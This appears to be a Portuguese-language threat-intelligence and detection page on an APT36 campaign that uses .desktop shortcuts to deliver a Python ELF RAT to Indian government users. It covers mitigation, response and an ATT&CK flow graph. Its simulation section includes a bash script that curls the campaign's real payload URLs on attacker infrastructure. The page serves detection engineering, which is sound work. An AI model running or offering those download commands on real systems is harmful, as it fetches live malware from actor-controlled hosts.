APT36 Implanta Malware Python ELF Contra Entidades Governamentais Indianas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
APT36 (Transparent Tribe) realizou uma campanha de spear-phishing que lançou arquivos de atalho maliciosos do Linux .desktop em usuários do governo indiano. Esses lançadores recuperam e executam um ELF RAT baseado em Python chamado swcbc de um servidor controlado por atacantes. O malware mantém a persistência através de um serviço systemd em nível de usuário e se comunica com seu C2 via HTTP para exfiltrar dados e executar comandos. A campanha ressalta a crescente capacidade do grupo de operar efetivamente em ambientes Linux.
Investigação
A investigação seguiu a cadeia desde o anexo inicial .zip até o lançador .desktop, o PDF de isca e as duas cargas (swcbc ELF binário e script swcbc.sh) baixadas de um endereço IP controlado pelo ator. A análise mostrou que o binário ELF é um RAT Python empacotado com PyInstaller com capacidades para perfilamento do sistema, upload/download de arquivos, captura de tela e auto-remoção. A persistência é implementada registrando um serviço systemd dentro do diretório de configuração do usuário.
Mitigação
As defesas recomendadas incluem bloquear a execução de arquivos .desktop, .sh e ELF recebidos via e-mail e aplicar execução em sandbox para anexos suspeitos. Desativar a execução automática de caminhos graváveis por todos como /tmp e aplicar opções noexec de montagem quando possível. Monitorar tráfego DNS e HTTP para conexões ao domínio e IP maliciosos identificados. Impor controle estrito de aplicativos em ferramentas como curl e LibreOffice.
Resposta
Quando a atividade é detectada, isole o host Linux impactado, colete os artefatos maliciosos e a unidade de serviço systemd, e remova o diretório oculto ~/.swcbc. Use ferramentas forenses para extrair o identificador exclusivo do host e termine quaisquer sessões C2 em andamento. Atualize o conteúdo de detecção com os IOCs observados e busque proativamente por padrões semelhantes em todo o ambiente mais amplo.
graph TB %% Class Definitions classDef action fill:#99ccff classDef artifact fill:#ffdd88 classDef malware fill:#ff9999 classDef process fill:#c2f0c2 %% Nodes – Actions (MITRE Techniques) initial_access_phishing[“<b>Ação</b> – <b>T1566 Phishing</b>: Anexo de Spearphishing<br /><b>Descrição</b>: O adversário envia por e‑mail um atalho .desktop malicioso ao alvo.”] class initial_access_phishing action user_execution_file[“<b>Ação</b> – <b>T1204.002 Execução pelo Usuário</b>: Arquivo Malicioso<br /><b>Descrição</b>: A vítima abre o arquivo .desktop, fazendo com que o script incorporado seja executado.”] class user_execution_file action obfuscation[“<b>Ação</b> – <b>T1027 Arquivos Ofuscados</b>: Codificação de Dados<br /><b>Descrição</b>: O script é armazenado como uma string codificada em Base64 e o payload ELF é empacotado com PyInstaller.”] class obfuscation action masquerading[“<b>Ação</b> – <b>T1036 Disfarce</b><br /><b>Descrição</b>: O atalho .desktop imita um documento legítimo de escritório e abre um PDF de engodo.”] class masquerading action ingress_tool_transfer[“<b>Ação</b> – <b>T1105 Transferência de Ferramentas de Entrada</b><br /><b>Descrição</b>: O script baixa um binário ELF e um script de shell de um servidor HTTP remoto.”] class ingress_tool_transfer action execution_unix_shell[“<b>Ação</b> – <b>T1059 Interpretador de Comandos e Scripts</b>: Shell Unix<br /><b>Descrição</b>: O downloader concede permissão de execução e executa os payloads em segundo plano.”] class execution_unix_shell action persistence_systemd[“<b>Ação</b> – <b>T1543 Criar ou Modificar Processo do Sistema</b><br /><b>Descrição</b>: Um serviço systemd malicioso em nível de usuário é criado e habilitado para iniciar no login.”] class persistence_systemd action persistence_boot_script[“<b>Ação</b> – <b>T1037.004 Scripts de Inicialização ou Logon</b><br /><b>Descrição</b>: O serviço systemd em nível de usuário atua como script de inicialização ou logon para persistência.”] class persistence_boot_script action discovery_system_info[“<b>Ação</b> – <b>T1082 Descoberta de Informações do Sistema</b><br /><b>Descrição</b>: O RAT ELF coleta versão do SO, hostname, nome de usuário e endereço MAC.”] class discovery_system_info action discovery_file_dir[“<b>Ação</b> – <b>T1083 Descoberta de Arquivos e Diretórios</b><br /><b>Descrição</b>: O malware enumera o sistema de arquivos para localizar arquivos para exfiltração.”] class discovery_file_dir action command_control_app_layer[“<b>Ação</b> – <b>T1071 Protocolo da Camada de Aplicação</b><br /><b>Descrição</b>: O implante se comunica com o servidor C2 usando HTTP GET/POST.”] class command_control_app_layer action data_encoding[“<b>Ação</b> – <b>T1132 Codificação de Dados</b><br /><b>Descrição</b>: Os payloads de C2 são codificados em Base64 para obscurecer o conteúdo.”] class data_encoding action collection_local_data[“<b>Ação</b> – <b>T1005 Dados do Sistema Local</b><br /><b>Descrição</b>: O RAT arquiva arquivos selecionados em arquivos ZIP para envio.”] class collection_local_data action exfiltration_http[“<b>Ação</b> – <b>T1005 Dados do Sistema Local (Exfiltração)</b><br /><b>Descrição</b>: Os arquivos são enviados ao atacante via requisições HTTP POST.”] class exfiltration_http action %% Nodes – Artifacts / Malware file_desktop[“<b>Artefato</b> – <b>Atalho .desktop</b><br /><b>Arquivo</b>: Analysis_Proc_Report_Gem.desktop<br /><b>Finalidade</b>: Dispara a execução do script Base64.”] class file_desktop artifact script_base64[“<b>Malware</b> – <b>Script Base64</b><br /><b>Conteúdo</b>: Decodifica e executa a lógica do downloader.”] class script_base64 malware elf_payload[“<b>Malware</b> – <b>Binário ELF (swcbc)</b><br /><b>Tipo</b>: RAT empacotado entregue via PyInstaller.”] class elf_payload malware shell_script_payload[“<b>Malware</b> – <b>Script de Shell (swcbc.sh)</b><br /><b>Finalidade</b>: Script auxiliar para configurar persistência.”] class shell_script_payload malware systemd_service[“<b>Artefato</b> – <b>Arquivo de Serviço Systemd</b><br /><b>Localização</b>: ~/.config/systemd/user/swcbc.service<br /><b>Efeito</b>: Executa o payload ELF no login do usuário.”] class systemd_service artifact %% Edges – Attack Flow initial_access_phishing –>|delivers| file_desktop file_desktop –>|invokes| script_base64 script_base64 –>|obfuscates| obfuscation script_base64 –>|masquerades as| masquerading script_base64 –>|downloads| elf_payload script_base64 –>|downloads| shell_script_payload ingress_tool_transfer –>|facilitates download of| elf_payload ingress_tool_transfer –>|facilitates download of| shell_script_payload script_base64 –>|executes via| execution_unix_shell elf_payload –>|runs as| process_elf[(“Processo ELF”)] class process_elf process process_elf –>|establishes| command_control_app_layer process_elf –>|collects system info via| discovery_system_info process_elf –>|enumerates files via| discovery_file_dir process_elf –>|archives files via| collection_local_data collection_local_data –>|encodes data via| data_encoding collection_local_data –>|exfiltrates via| exfiltration_http exfiltration_http –>|uses| command_control_app_layer shell_script_payload –>|creates| systemd_service systemd_service –>|enables| persistence_systemd persistence_systemd –>|provides| persistence_boot_script persistence_boot_script –>|ensures execution at login| execution_unix_shell
Fluxo de Ataque
Detecções
Detecção de Download de URL Malicioso APT36 [Proxy]
Ver
Execução Maliciosa de Script .desktop e Shell APT36 [Criação de Processo Linux]
Ver
IOCs (SourceIP) para detectar: Malware ELF Basedo em Python APT36 Alvejando Entidades Governamentais Indianas
Ver
IOCs (DestinationIP) para detectar: Malware ELF Basedo em Python APT36 Alvejando Entidades Governamentais Indianas
Ver
IOCs (HashSha256) para detectar: Malware ELF Basedo em Python APT36 Alvejando Entidades Governamentais Indianas
Ver
Execução de Simulação
Pré-requisito: O Check de Telemetria & Baseline Pré-voo deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.
-
Narrativa do Ataque & Comandos:
Um operador do APT-36 hospeda três cargas em infraestrutura comprometida e distribui seus URLs via um email de phishing. A vítima, usando um navegador configurado para rotear o tráfego através de um proxy corporativo, clica em cada link. O proxy registra cada solicitação GET, produzindo entradas que correspondem à regraurl|alllista. As cargas são:- Um binário ELF bruto (
swcbc) entregue via HTTP. - Um script shell (
swcbc.sh) que, quando executado, instala o ELF. - Um PDF de isca (
Analysis_Proc_Report_Gem.pdf) destinado a encorajar o usuário a abrir o arquivo enquanto o ELF malicioso é executado em segundo plano.
- Um binário ELF bruto (
-
Script de Teste de Regressão:
#!/usr/bin/env bash # Simulação de download de URL malicioso do APT-36 – aciona a regra Sigma. set -euo pipefail # Definir os URLs maliciosos (strings exatas da regra Sigma) urls=( "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc" "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh" "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf" ) # Baixar cada carga através do proxy corporativo. # Assumir que a variável de ambiente http_proxy/https_proxy aponta para o proxy. for u in "${urls[@]}"; do echo "[*] Baixando $u via proxy..." curl -s -O "$u" done echo "[+] Todos os arquivos maliciosos baixados. Verifique os logs do proxy para URLs correspondentes."Salve o script como
apt36_simulation.sh, torne-o executável (chmod +x apt36_simulation.sh), e execute-o na estação de trabalho protegida. -
Comandos de Limpeza:
#!/usr/bin/env bash # Remover todos os arquivos criados pela simulação rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf echo "[+] Limpeza completa."